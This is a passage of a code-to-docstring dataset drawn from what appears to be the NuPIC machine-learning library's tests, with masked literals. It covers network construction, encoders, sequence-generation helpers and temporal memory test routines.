RecordSensor region and a SDRClassifier region", "id": "f17305:m0"}
{"signature": "def _createSensorToClassifierLinks(network, sensorRegionName,<EOL>classifierRegionName):", "body": "network.link(sensorRegionName, classifierRegionName, '<STR_LIT>', '<STR_LIT>',<EOL>srcOutput='<STR_LIT>', destInput='<STR_LIT>')<EOL>network.link(sensorRegionName, classifierRegionName, '<STR_LIT>', '<STR_LIT>',<EOL>srcOutput='<STR_LIT>', destInput='<STR_LIT>')<EOL>network.link(sensorRegionName, classifierRegionName, '<STR_LIT>', '<STR_LIT>',<EOL>srcOutput='<STR_LIT>', destInput='<STR_LIT>')<EOL>network.link(sensorRegionName, classifierRegionName, '<STR_LIT>', '<STR_LIT>',<EOL>srcOutput='<STR_LIT>', destInput='<STR_LIT>')<EOL>", "docstring": "Create links from sensor region to classifier region.", "id": "f17305:m1"}
{"signature": "def _createNetwork():", "body": "network = Network()<EOL>network.addRegion('<STR_LIT>', '<STR_LIT>', '<STR_LIT:{}>')<EOL>sensorRegion = network.regions['<STR_LIT>'].getSelf()<EOL>encoderParams = {'<STR_LIT>': {'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:1>,<EOL>'<STR_LIT:name>': '<STR_LIT>',<EOL>'<STR_LIT:type>': '<STR_LIT>'}}<EOL>encoder = MultiEncoder()<EOL>encoder.addMultipleEncoders(encoderParams)<EOL>sensorRegion.encoder = encoder<EOL>testDir = os.path.dirname(os.path.abspath(__file__))<EOL>inputFile = os.path.join(testDir, '<STR_LIT>', '<STR_LIT>')<EOL>dataSource = FileRecordStream(streamID=inputFile)<EOL>sensorRegion.dataSource = dataSource<EOL>network.regions['<STR_LIT>'].setParameter('<STR_LIT>', '<STR_LIT>')<EOL>return network<EOL>", "docstring": "Create network with one RecordSensor region.", "id": "f17306:m0"}
{"signature": "def setUp(self):", "body": "self.files = {}<EOL>with tempfile.NamedTemporaryFile(<EOL>prefix='<STR_LIT>', delete=False) as outp:<EOL><INDENT>self.addCleanup(os.remove, outp.name)<EOL>with open(resource_filename(__name__, '<STR_LIT>')) as inp:<EOL><INDENT>outp.write(inp.read())<EOL><DEDENT>self.files['<STR_LIT>'] = outp.name<EOL><DEDENT>with tempfile.NamedTemporaryFile(<EOL>prefix='<STR_LIT>', delete=False) as outp:<EOL><INDENT>self.addCleanup(os.remove, outp.name)<EOL>with open(resource_filename(__name__, '<STR_LIT>')) as inp:<EOL><INDENT>outp.write(inp.read())<EOL><DEDENT>self.files['<STR_LIT>'] = outp.name<EOL><DEDENT>", "docstring": "configuration.Configuration relies on static methods\n        which load files by name.  Since we need to be able to run tests and\n        potentially change the content of those files between tests without\n        interfering with one another and with the system configuration, this\n        setUp() function will allocate temporary files used only during the using\n        conf/nupic-default.xml and conf/nupic-site.xml (relative to the unit tests)\n        as templates.", "id": "f17311:c0:m0"}
{"signature": "def mockSleepTime(self, mockTime, mockSleep):", "body": "class _TimeContainer(object):<EOL><INDENT>accumulatedTime = <NUM_LIT:0><EOL><DEDENT>def testTime():<EOL><INDENT>return _TimeContainer.accumulatedTime<EOL><DEDENT>def testSleep(duration):<EOL><INDENT>_TimeContainer.accumulatedTime += duration<EOL><DEDENT>mockTime.side_effect = testTime<EOL>mockSleep.side_effect = testSleep<EOL>", "docstring": "Configures mocks for time.time and time.sleep such that every call\n        to time.sleep(x) increments the return value of time.time() by x.\n\n        mockTime:     time.time mock\n        mockSleep:    time.sleep mock", "id": "f17312:c2:m0"}
{"signature": "def _getTempFileName():", "body": "handle = tempfile.NamedTemporaryFile(prefix='<STR_LIT:test>', suffix='<STR_LIT>', dir='<STR_LIT:.>')<EOL>filename = handle.name<EOL>handle.close()<EOL>return filename<EOL>", "docstring": "Creates unique file name that starts with 'test' and ends with '.txt'.", "id": "f17319:m0"}
{"signature": "def setUp(self):", "body": "self.interpreter = SafeInterpreter(writer=io.BytesIO())<EOL>", "docstring": "Set up an interpreter directing output to a BytesIO stream.", "id": "f17337:c0:m0"}
{"signature": "def _getPredictionsGenerator(examplesDir, exampleName):", "body": "sys.path.insert(<NUM_LIT:0>, os.path.join(examplesDir, exampleName))<EOL>modName = \"<STR_LIT>\" % exampleName<EOL>mod = __import__(modName, fromlist=[\"<STR_LIT>\"])<EOL>return getattr(mod, \"<STR_LIT>\")<EOL>", "docstring": "Get predictions generator for one of the quick-start example. \n\n.. note::\n\n  The examples are not part of the nupic package so we need to manually \n  append the example module path to syspath.\n\n:param examplesDir: \n  (str) path to the example parent directory.\n:param exampleName: \n  (str) name of the example. E.g: \"opf\", \"network\", \"algo\".\n:return predictionsGenerator: \n  (function) predictions generator functions.", "id": "f17338:m0"}
{"signature": "@classmethod<EOL><INDENT>def setUpClass(cls):<DEDENT>", "body": "for example in cls.examples:<EOL><INDENT>predictionGenerator = _getPredictionsGenerator(cls.examplesDir, example)<EOL>for prediction in predictionGenerator(MAX_PREDICTIONS):<EOL><INDENT>cls.oneStepPredictions[example].append(prediction[<NUM_LIT:0>])<EOL>cls.oneStepConfidences[example].append(prediction[<NUM_LIT:1>])<EOL>cls.fiveStepPredictions[example].append(prediction[<NUM_LIT:2>])<EOL>cls.fiveStepConfidences[example].append(prediction[<NUM_LIT:3>])<EOL><DEDENT><DEDENT>", "docstring": "Get the predictions and prediction confidences for all examples.", "id": "f17338:c0:m0"}
{"signature": "def createEncoder():", "body": "consumption_encoder = ScalarEncoder(<NUM_LIT>, <NUM_LIT:0.0>, <NUM_LIT>, n=<NUM_LIT:50>, name=\"<STR_LIT>\",<EOL>clipInput=True)<EOL>time_encoder = DateEncoder(timeOfDay=(<NUM_LIT>, <NUM_LIT>), name=\"<STR_LIT>\")<EOL>encoder = MultiEncoder()<EOL>encoder.addEncoder(\"<STR_LIT>\", consumption_encoder)<EOL>encoder.addEncoder(\"<STR_LIT>\", time_encoder)<EOL>return encoder<EOL>", "docstring": "Create the encoder instance for our test and return it.", "id": "f17342:m0"}
{"signature": "def createNetwork(dataSource, enableTP=False, temporalImp=\"<STR_LIT>\"):", "body": "network = Network()<EOL>network.addRegion(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>json.dumps({\"<STR_LIT>\": _VERBOSITY}))<EOL>sensor = network.regions[\"<STR_LIT>\"].getSelf()<EOL>sensor.encoder = createEncoder()<EOL>sensor.dataSource = dataSource<EOL>SP_PARAMS[\"<STR_LIT>\"] = sensor.encoder.getWidth()<EOL>network.addRegion(\"<STR_LIT>\", \"<STR_LIT>\", json.dumps(SP_PARAMS))<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>if enableTP:<EOL><INDENT>TM_PARAMS[\"<STR_LIT>\"] = temporalImp<EOL>network.addRegion(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>json.dumps(TM_PARAMS))<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL><DEDENT>spatialPoolerRegion = network.regions[\"<STR_LIT>\"]<EOL>spatialPoolerRegion.setParameter(\"<STR_LIT>\", True)<EOL>spatialPoolerRegion.setParameter(\"<STR_LIT>\", False)<EOL>if enableTP:<EOL><INDENT>temporalPoolerRegion = network.regions[\"<STR_LIT>\"]<EOL>temporalPoolerRegion.setParameter(\"<STR_LIT>\", True)<EOL>temporalPoolerRegion.setParameter(\"<STR_LIT>\", True)<EOL>temporalPoolerRegion.setParameter(\"<STR_LIT>\", True)<EOL>temporalPoolerRegion.setParameter(\"<STR_LIT>\", True)<EOL><DEDENT>return network<EOL>", "docstring": "Create the Network instance.\n\n    The network has a sensor region reading data from `dataSource` and passing\n    the encoded representation to an SPRegion. The SPRegion output is passed to\n    a TMRegion.\n\n    :param dataSource: a RecordStream instance to get data from\n    :returns: a Network instance ready to run", "id": "f17342:m1"}
{"signature": "def generatePattern(numCols = <NUM_LIT:100>,<EOL>minOnes =<NUM_LIT>,<EOL>maxOnes =<NUM_LIT>,<EOL>colSet = [],<EOL>prevPattern =numpy.array([])):", "body": "assert minOnes < maxOnes<EOL>assert maxOnes < numCols<EOL>nOnes = rgen.randint(minOnes, maxOnes)<EOL>candidates = list(colSet.difference(set(prevPattern.nonzero()[<NUM_LIT:0>])))<EOL>rgen.shuffle(candidates)<EOL>ind = candidates[:nOnes]<EOL>x = numpy.zeros(numCols, dtype='<STR_LIT>')<EOL>x[ind] = <NUM_LIT:1><EOL>return x<EOL>", "docstring": "Generate a single test pattern with given parameters.\n\n    Parameters:\n    --------------------------------------------\n    numCols:                Number of columns in each pattern.\n    minOnes:                The minimum number of 1's in each pattern.\n    maxOnes:                The maximum number of 1's in each pattern.\n    colSet:                 The set of column indices for the pattern.\n    prevPattern:            Pattern to avoid (null intersection).", "id": "f17345:m2"}
{"signature": "def buildTrainingSet(numSequences = <NUM_LIT:2>,<EOL>sequenceLength = <NUM_LIT:100>,<EOL>pctShared = <NUM_LIT>,<EOL>seqGenMode = '<STR_LIT>',<EOL>subsequenceStartPos = <NUM_LIT:10>,<EOL>numCols = <NUM_LIT:100>,<EOL>minOnes=<NUM_LIT>,<EOL>maxOnes = <NUM_LIT>,<EOL>disjointConsecutive =True):", "body": "<EOL>colSet = set(range(numCols))<EOL>if '<STR_LIT>' in seqGenMode:<EOL><INDENT>assert '<STR_LIT>' in seqGenMode and '<STR_LIT>' not in seqGenMode<EOL><DEDENT>if '<STR_LIT>' in seqGenMode or numSequences == <NUM_LIT:1>:<EOL><INDENT>pctShared = <NUM_LIT:0.0><EOL><DEDENT>if '<STR_LIT>' not in seqGenMode and '<STR_LIT>' not in seqGenMode:<EOL><INDENT>sharedSequenceLength = int(pctShared*sequenceLength)<EOL><DEDENT>elif '<STR_LIT>' in seqGenMode:<EOL><INDENT>sharedSequenceLength = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>sharedSequenceLength = <NUM_LIT:0><EOL><DEDENT>assert sharedSequenceLength + subsequenceStartPos < sequenceLength<EOL>sharedSequence = []<EOL>for i in range(sharedSequenceLength):<EOL><INDENT>if disjointConsecutive and i > <NUM_LIT:0>:<EOL><INDENT>x = generatePattern(numCols, minOnes, maxOnes, colSet, sharedSequence[i-<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>x = generatePattern(numCols, minOnes, maxOnes, colSet)<EOL><DEDENT>sharedSequence.append(x)<EOL><DEDENT>trainingSequences = []<EOL>if '<STR_LIT>' not in seqGenMode:<EOL><INDENT>trailingLength = sequenceLength - sharedSequenceLength - subsequenceStartPos<EOL><DEDENT>else:<EOL><INDENT>trailingLength = sequenceLength - sharedSequenceLength<EOL><DEDENT>for k,s in enumerate(range(numSequences)):<EOL><INDENT>if len(trainingSequences) > <NUM_LIT:0> and '<STR_LIT>' in seqGenMode:<EOL><INDENT>r = list(range(subsequenceStartPos))+ list(range(subsequenceStartPos + sharedSequenceLength, sequenceLength))<EOL>rgen.shuffle(r)<EOL>r = r[:subsequenceStartPos]+ list(range(subsequenceStartPos, subsequenceStartPos + sharedSequenceLength))+ r[subsequenceStartPos:]<EOL>sequence = [trainingSequences[k-<NUM_LIT:1>][j] for j in r]<EOL><DEDENT>else:<EOL><INDENT>sequence = []<EOL>if '<STR_LIT>' not in seqGenMode:<EOL><INDENT>for i in range(subsequenceStartPos):<EOL><INDENT>if disjointConsecutive and i > <NUM_LIT:0>:<EOL><INDENT>x = generatePattern(numCols, minOnes, maxOnes, colSet, sequence[i-<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>x = generatePattern(numCols, minOnes, maxOnes, colSet)<EOL><DEDENT>sequence.append(x)<EOL><DEDENT><DEDENT>if '<STR_LIT>' in seqGenMode and '<STR_LIT>' not in seqGenMode:<EOL><INDENT>sequence.extend(sharedSequence)<EOL><DEDENT>for i in range(trailingLength):<EOL><INDENT>if disjointConsecutive and i > <NUM_LIT:0>:<EOL><INDENT>x = generatePattern(numCols, minOnes, maxOnes, colSet, sequence[i-<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>x = generatePattern(numCols, minOnes, maxOnes, colSet)<EOL><DEDENT>sequence.append(x)<EOL><DEDENT><DEDENT>assert len(sequence) == sequenceLength<EOL>trainingSequences.append(sequence)<EOL><DEDENT>assert len(trainingSequences) == numSequences<EOL>if VERBOSITY >= <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>pprint.pprint(trainingSequences)<EOL><DEDENT>if sharedSequenceLength > <NUM_LIT:0>:<EOL><INDENT>return (trainingSequences, subsequenceStartPos + sharedSequenceLength)<EOL><DEDENT>else:<EOL><INDENT>return (trainingSequences, -<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Build random high order test sequences.\n\n    Parameters:\n    --------------------------------------------\n    numSequences:           The number of sequences created.\n    sequenceLength:         The length of each sequence.\n    pctShared:              The percentage of sequenceLength that is shared across\n                            every sequence. If sequenceLength is 100 and pctShared\n                            is 0.2, then a subsequence consisting of 20 patterns\n                            will be in every sequence. Can also be the keyword\n                            'one pattern', in which case a single time step is shared.\n    seqGenMode:             What kind of sequence to generate. If contains 'shared'\n                            generates shared subsequence. If contains 'no shared',\n                            does not generate any shared subsequence. If contains\n                            'shuffle', will use common patterns shuffle among the\n                            different sequences. If contains 'beginning', will\n                            place shared subsequence at the beginning.\n    subsequenceStartPos:    The position where the shared subsequence starts\n    numCols:                Number of columns in each pattern.\n    minOnes:                The minimum number of 1's in each pattern.\n    maxOnes:                The maximum number of 1's in each pattern.\n    disjointConsecutive:    Whether to generate disjoint consecutive patterns or not.", "id": "f17345:m3"}
{"signature": "def getSimplePatterns(numOnes, numPatterns):", "body": "numCols = numOnes * numPatterns<EOL>p = []<EOL>for i in range(numPatterns):<EOL><INDENT>x = numpy.zeros(numCols, dtype='<STR_LIT>')<EOL>x[i*numOnes:(i+<NUM_LIT:1>)*numOnes] = <NUM_LIT:1><EOL>p.append(x)<EOL><DEDENT>return p<EOL>", "docstring": "Very simple patterns. Each pattern has numOnes consecutive\n    bits on. There are numPatterns*numOnes bits in the vector.", "id": "f17345:m4"}
{"signature": "def buildSimpleTrainingSet(numOnes=<NUM_LIT:5>):", "body": "numPatterns = <NUM_LIT:11><EOL>p = getSimplePatterns(numOnes, numPatterns)<EOL>s1 = [p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:2>], p[<NUM_LIT:3>], p[<NUM_LIT:4>], p[<NUM_LIT:5>], p[<NUM_LIT:6>] ]<EOL>s2 = [p[<NUM_LIT:7>], p[<NUM_LIT:8>], p[<NUM_LIT:2>], p[<NUM_LIT:3>], p[<NUM_LIT:4>], p[<NUM_LIT:9>], p[<NUM_LIT:10>]]<EOL>trainingSequences = [s1, s2]<EOL>return (trainingSequences, <NUM_LIT:5>)<EOL>", "docstring": "Two very simple high order sequences for debugging. Each pattern in the\n    sequence has a series of 1's in a specific set of columns.", "id": "f17345:m5"}
{"signature": "def buildAlternatingTrainingSet(numOnes=<NUM_LIT:5>):", "body": "numPatterns = <NUM_LIT><EOL>p = getSimplePatterns(numOnes, numPatterns)<EOL>s1 = [p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:0>], p[<NUM_LIT:2>]]<EOL>s2 = [p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:3>], p[<NUM_LIT:4>]]<EOL>s3 = [p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:5>], p[<NUM_LIT:6>], p[<NUM_LIT:7>], p[<NUM_LIT:8>]]<EOL>s4 = [p[<NUM_LIT:0>], p[<NUM_LIT:9>], p[<NUM_LIT:10>], p[<NUM_LIT:11>], p[<NUM_LIT:12>], p[<NUM_LIT>]]<EOL>trainingSequences = [s1, s2, s3, s4]<EOL>return (trainingSequences, <NUM_LIT:5>)<EOL>", "docstring": "High order sequences that alternate elements. Pattern i has one's in\n    i*numOnes to (i+1)*numOnes.\n\n    The sequences are:\n       A B A B A C\n       A B A B D E\n       A B F G H I\n       A J K L M N", "id": "f17345:m6"}
{"signature": "def buildHL0aTrainingSet(numOnes=<NUM_LIT:5>):", "body": "numPatterns = <NUM_LIT><EOL>p = getSimplePatterns(numOnes, numPatterns)<EOL>s = []<EOL>s.append(p[rgen.randint(<NUM_LIT:3>,<NUM_LIT>)])<EOL>for i in range(<NUM_LIT:20>):<EOL><INDENT>s.append(p[rgen.randint(<NUM_LIT:3>,<NUM_LIT>)])<EOL>s.append(p[<NUM_LIT:0>])<EOL>s.append(p[<NUM_LIT:1>])<EOL>s.append(p[<NUM_LIT:2>])<EOL>s.append(p[rgen.randint(<NUM_LIT:3>,<NUM_LIT>)])<EOL><DEDENT>return ([s], [[p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:2>]]])<EOL>", "docstring": "Simple sequences for HL0. Each pattern in the sequence has a series of 1's\n    in a specific set of columns.\n      There are 23 patterns, p0 to p22.\n      The sequence we want to learn is p0->p1->p2\n      We create a very long sequence consisting of N N p0 p1 p2 N N p0 p1 p2\n      N is randomly chosen from p3 to p22", "id": "f17345:m7"}
{"signature": "def buildHL0bTrainingSet(numOnes=<NUM_LIT:5>):", "body": "numPatterns = <NUM_LIT><EOL>p = getSimplePatterns(numOnes, numPatterns)<EOL>s = []<EOL>s.append(p[rgen.randint(<NUM_LIT:5>,numPatterns)])<EOL>for i in range(<NUM_LIT:50>):<EOL><INDENT>r = rgen.randint(<NUM_LIT:5>,numPatterns)<EOL>print(r, end='<STR_LIT:U+0020>')<EOL>s.append(p[r])<EOL>if rgen.binomial(<NUM_LIT:1>, <NUM_LIT:0.5>) > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL>s.append(p[<NUM_LIT:0>])<EOL>s.append(p[<NUM_LIT:1>])<EOL>s.append(p[<NUM_LIT:2>])<EOL>s.append(p[<NUM_LIT:4>])<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL>s.append(p[<NUM_LIT:1>])<EOL>s.append(p[<NUM_LIT:2>])<EOL>s.append(p[<NUM_LIT:3>])<EOL><DEDENT>r = rgen.randint(<NUM_LIT:5>,numPatterns)<EOL>s.append(p[r])<EOL>print(r, end='<STR_LIT:U+0020>')<EOL><DEDENT>print()<EOL>return ([s], [ [p[<NUM_LIT:0>], p[<NUM_LIT:1>], p[<NUM_LIT:2>], p[<NUM_LIT:4>]],  [p[<NUM_LIT:1>], p[<NUM_LIT:2>], p[<NUM_LIT:3>]] ])<EOL>", "docstring": "Simple sequences for HL0b. Each pattern in the sequence has a series of 1's\n    in a specific set of columns.\n      There are 23 patterns, p0 to p22.\n      The sequences we want to learn are p1->p2->p3 and p0->p1->p2->p4.\n      We create a very long sequence consisting of these two sub-sequences\n      intermixed with noise, such as:\n            N N p0 p1 p2 p4 N N p1 p2 p3 N N p1 p2 p3\n      N is randomly chosen from p5 to p22", "id": "f17345:m8"}
{"signature": "def findAcceptablePatterns(tm, t, whichSequence, trainingSequences, nAcceptable = <NUM_LIT:1>):", "body": "<EOL>upTo = t + <NUM_LIT:2> <EOL>if tm.doPooling:<EOL><INDENT>upTo += min(tm.segUpdateValidDuration, nAcceptable)<EOL><DEDENT>assert upTo <= len(trainingSequences[whichSequence])<EOL>acceptablePatterns = []<EOL>if len(trainingSequences) == <NUM_LIT:2> and(trainingSequences[<NUM_LIT:0>][<NUM_LIT:0>] == trainingSequences[<NUM_LIT:1>][<NUM_LIT:0>]).all():<EOL><INDENT>if (trainingSequences[<NUM_LIT:0>][t] == trainingSequences[<NUM_LIT:1>][t]).all()and (trainingSequences[<NUM_LIT:0>][t+<NUM_LIT:1>] != trainingSequences[<NUM_LIT:1>][t+<NUM_LIT:1>]).any():<EOL><INDENT>acceptablePatterns.append(trainingSequences[<NUM_LIT:0>][t+<NUM_LIT:1>])<EOL>acceptablePatterns.append(trainingSequences[<NUM_LIT:1>][t+<NUM_LIT:1>])<EOL><DEDENT><DEDENT>acceptablePatterns += [trainingSequences[whichSequence][t]for t in range(t,upTo)]<EOL>return acceptablePatterns<EOL>", "docstring": "Tries to infer the set of acceptable patterns for prediction at the given\ntime step and for the give sequence. Acceptable patterns are: the current one,\nplus a certain number of patterns after timeStep, in the sequence that the TM\nis currently tracking. Any other pattern is not acceptable.\n\nTODO:\n====\n- Doesn't work for noise cases.\n- Might run in trouble if shared subsequence at the beginning.\n\nParameters:\n==========\ntm                       the whole TM, so that we can look at its parameters\nt                        the current time step\nwhichSequence            the sequence we are currently tracking\ntrainingSequences        all the training sequences\nnAcceptable              the number of steps forward from the current timeStep\n                         we are willing to consider acceptable. In the case of\n                         pooling, it is less than or equal to the min of the\n                         number of training reps and the segUpdateValidDuration\n                         parameter of the TM, depending on the test case.\n                         The default value is 1, because by default, the pattern\n                         after the current one should always be predictable.\n\nReturn value:\n============\nacceptablePatterns       A list of acceptable patterns for prediction.", "id": "f17345:m10"}
{"signature": "def TestH2a(sequenceLength, nTests, cellsPerColumn, numCols =<NUM_LIT:100>, nSequences =[<NUM_LIT:2>],<EOL>pctShared = <NUM_LIT>, seqGenMode = '<STR_LIT>',<EOL>shouldFail = False):", "body": "print(\"<STR_LIT>\")<EOL>nFailed = <NUM_LIT:0><EOL>subsequenceStartPos = <NUM_LIT:10><EOL>assert subsequenceStartPos < sequenceLength<EOL>for numSequences in nSequences:<EOL><INDENT>print(\"<STR_LIT>\",sequenceLength, end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\",cellsPerColumn,\"<STR_LIT>\",nTests,\"<STR_LIT>\", numCols)<EOL>print(\"<STR_LIT>\",numSequences, \"<STR_LIT>\", pctShared, end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\", seqGenMode)<EOL>for k in range(nTests): <EOL><INDENT>trainingSet = buildTrainingSet(numSequences = numSequences,<EOL>sequenceLength = sequenceLength,<EOL>pctShared = pctShared, seqGenMode = seqGenMode,<EOL>subsequenceStartPos = subsequenceStartPos,<EOL>numCols = numCols,<EOL>minOnes = <NUM_LIT>, maxOnes = <NUM_LIT>)<EOL>print(\"<STR_LIT>\")<EOL>numFailures3, numStrictErrors3, numPerfect3, tm3 =_testSequence(trainingSet,<EOL>nTrainingReps = <NUM_LIT:10>,<EOL>numberOfCols = numCols,<EOL>cellsPerColumn = cellsPerColumn,<EOL>initialPerm = <NUM_LIT>,<EOL>connectedPerm = <NUM_LIT>,<EOL>minThreshold = <NUM_LIT:12>,<EOL>permanenceInc = <NUM_LIT>,<EOL>permanenceDec = <NUM_LIT:0.1>,<EOL>permanenceMax = <NUM_LIT:1>,<EOL>globalDecay = <NUM_LIT>,<EOL>newSynapseCount = <NUM_LIT:15>,<EOL>activationThreshold = <NUM_LIT:12>,<EOL>doPooling = False,<EOL>shouldFail = shouldFail)<EOL>print(\"<STR_LIT>\")<EOL>numFailures, numStrictErrors, numPerfect, tm2 =_testSequence(trainingSet,<EOL>nTrainingReps = <NUM_LIT:2>,<EOL>numberOfCols = numCols,<EOL>cellsPerColumn = cellsPerColumn,<EOL>initialPerm = <NUM_LIT>,<EOL>connectedPerm = <NUM_LIT>,<EOL>minThreshold = <NUM_LIT:12>,<EOL>permanenceInc = <NUM_LIT>,<EOL>permanenceDec = <NUM_LIT:0>,<EOL>permanenceMax = <NUM_LIT:1>,<EOL>globalDecay = <NUM_LIT>,<EOL>newSynapseCount = <NUM_LIT:15>,<EOL>activationThreshold = <NUM_LIT:12>,<EOL>doPooling = False,<EOL>shouldFail = shouldFail)<EOL>print(\"<STR_LIT>\")<EOL>numFailures1, numStrictErrors1, numPerfect1, tm1 =_testSequence(trainingSet,<EOL>nTrainingReps = <NUM_LIT:1>,<EOL>numberOfCols = numCols,<EOL>cellsPerColumn = cellsPerColumn,<EOL>initialPerm = <NUM_LIT>,<EOL>connectedPerm = <NUM_LIT>,<EOL>minThreshold = <NUM_LIT:12>,<EOL>permanenceInc = <NUM_LIT>,<EOL>permanenceDec = <NUM_LIT:0>,<EOL>permanenceMax = <NUM_LIT:1>,<EOL>globalDecay = <NUM_LIT>,<EOL>newSynapseCount = <NUM_LIT:15>,<EOL>activationThreshold = <NUM_LIT:12>,<EOL>doPooling = False,<EOL>shouldFail = shouldFail)<EOL>segmentInfo1 = tm1.getSegmentInfo()<EOL>segmentInfo2 = tm2.getSegmentInfo()<EOL>if (abs(segmentInfo1[<NUM_LIT:0>] - segmentInfo2[<NUM_LIT:0>]) > <NUM_LIT:3>) or(abs(segmentInfo1[<NUM_LIT:1>] - segmentInfo2[<NUM_LIT:1>]) > <NUM_LIT:3>*<NUM_LIT:15>) :<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(segmentInfo1)<EOL>print(segmentInfo2)<EOL>print(tm3.getSegmentInfo())<EOL>tm3.trimSegments()<EOL>print(tm3.getSegmentInfo())<EOL>print(\"<STR_LIT>\")<EOL>print(numFailures1, numStrictErrors1, numPerfect1)<EOL>print(numFailures, numStrictErrors, numPerfect)<EOL>print(numFailures3, numStrictErrors3, numPerfect3)<EOL>numFailures += <NUM_LIT:1><EOL><DEDENT>if numFailures == <NUM_LIT:0> and not shouldFailor numFailures > <NUM_LIT:0> and shouldFail:<EOL><INDENT>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL>if shouldFail:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>print()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>nFailed = nFailed + <NUM_LIT:1><EOL>print(\"<STR_LIT>\", numFailures)<EOL>print(\"<STR_LIT>\", numStrictErrors)<EOL>print(\"<STR_LIT>\", numPerfect)<EOL><DEDENT><DEDENT><DEDENT>return nFailed<EOL>", "docstring": "Still need to test:\n    Two overlapping sequences. OK to get new segments but check that we can\n    get correct high order prediction after multiple reps.", "id": "f17345:m19"}
{"signature": "def worker(x):", "body": "cellsPerColumn, numSequences = x[<NUM_LIT:0>], x[<NUM_LIT:1>]<EOL>nTrainingReps = <NUM_LIT:1><EOL>sequenceLength = <NUM_LIT:10><EOL>numCols = <NUM_LIT:200><EOL>print('<STR_LIT>', cellsPerColumn, numSequences)<EOL>seqGenMode = '<STR_LIT>'<EOL>subsequenceStartPos = <NUM_LIT:5><EOL>trainingSet = buildTrainingSet(numSequences = numSequences,<EOL>sequenceLength = sequenceLength,<EOL>pctShared = <NUM_LIT>, seqGenMode = seqGenMode,<EOL>subsequenceStartPos = subsequenceStartPos,<EOL>numCols = numCols,<EOL>minOnes = <NUM_LIT>, maxOnes = <NUM_LIT>)<EOL>numFailures1, numStrictErrors1, numPerfect1, atHub, tm =_testSequence(trainingSet,<EOL>nTrainingReps = nTrainingReps,<EOL>numberOfCols = numCols,<EOL>cellsPerColumn = cellsPerColumn,<EOL>initialPerm = <NUM_LIT>,<EOL>connectedPerm = <NUM_LIT>,<EOL>minThreshold = <NUM_LIT:11>,<EOL>permanenceInc = <NUM_LIT>,<EOL>permanenceDec = <NUM_LIT:0>,<EOL>permanenceMax = <NUM_LIT:1>,<EOL>globalDecay = <NUM_LIT>,<EOL>newSynapseCount = <NUM_LIT:8>,<EOL>activationThreshold = <NUM_LIT:8>,<EOL>doPooling = False,<EOL>shouldFail = False,<EOL>predJustAfterHubOnly = <NUM_LIT:5>)<EOL>seqGenMode = '<STR_LIT>'<EOL>trainingSet = buildTrainingSet(numSequences = numSequences,<EOL>sequenceLength = sequenceLength,<EOL>pctShared = <NUM_LIT:0>, seqGenMode = seqGenMode,<EOL>subsequenceStartPos = <NUM_LIT:0>,<EOL>numCols = numCols,<EOL>minOnes = <NUM_LIT>, maxOnes = <NUM_LIT>)<EOL>numFailures2, numStrictErrors2, numPerfect2, tm =_testSequence(trainingSet,<EOL>nTrainingReps = nTrainingReps,<EOL>numberOfCols = numCols,<EOL>cellsPerColumn = cellsPerColumn,<EOL>initialPerm = <NUM_LIT>,<EOL>connectedPerm = <NUM_LIT>,<EOL>minThreshold = <NUM_LIT:11>,<EOL>permanenceInc = <NUM_LIT>,<EOL>permanenceDec = <NUM_LIT:0>,<EOL>permanenceMax = <NUM_LIT:1>,<EOL>globalDecay = <NUM_LIT>,<EOL>newSynapseCount = <NUM_LIT:8>,<EOL>activationThreshold = <NUM_LIT:8>,<EOL>doPooling = False,<EOL>shouldFail = False)<EOL>print('<STR_LIT>', end='<STR_LIT:U+0020>')<EOL>print(cellsPerColumn, numSequences, numFailures1, numStrictErrors1, numPerfect1, atHub,numFailures2, numStrictErrors2, numPerfect2)<EOL>return cellsPerColumn, numSequences, numFailures1, numStrictErrors1, numPerfect1, atHub,numFailures2, numStrictErrors2, numPerfect2<EOL>", "docstring": "Worker function to use in parallel hub capacity test below.", "id": "f17345:m24"}
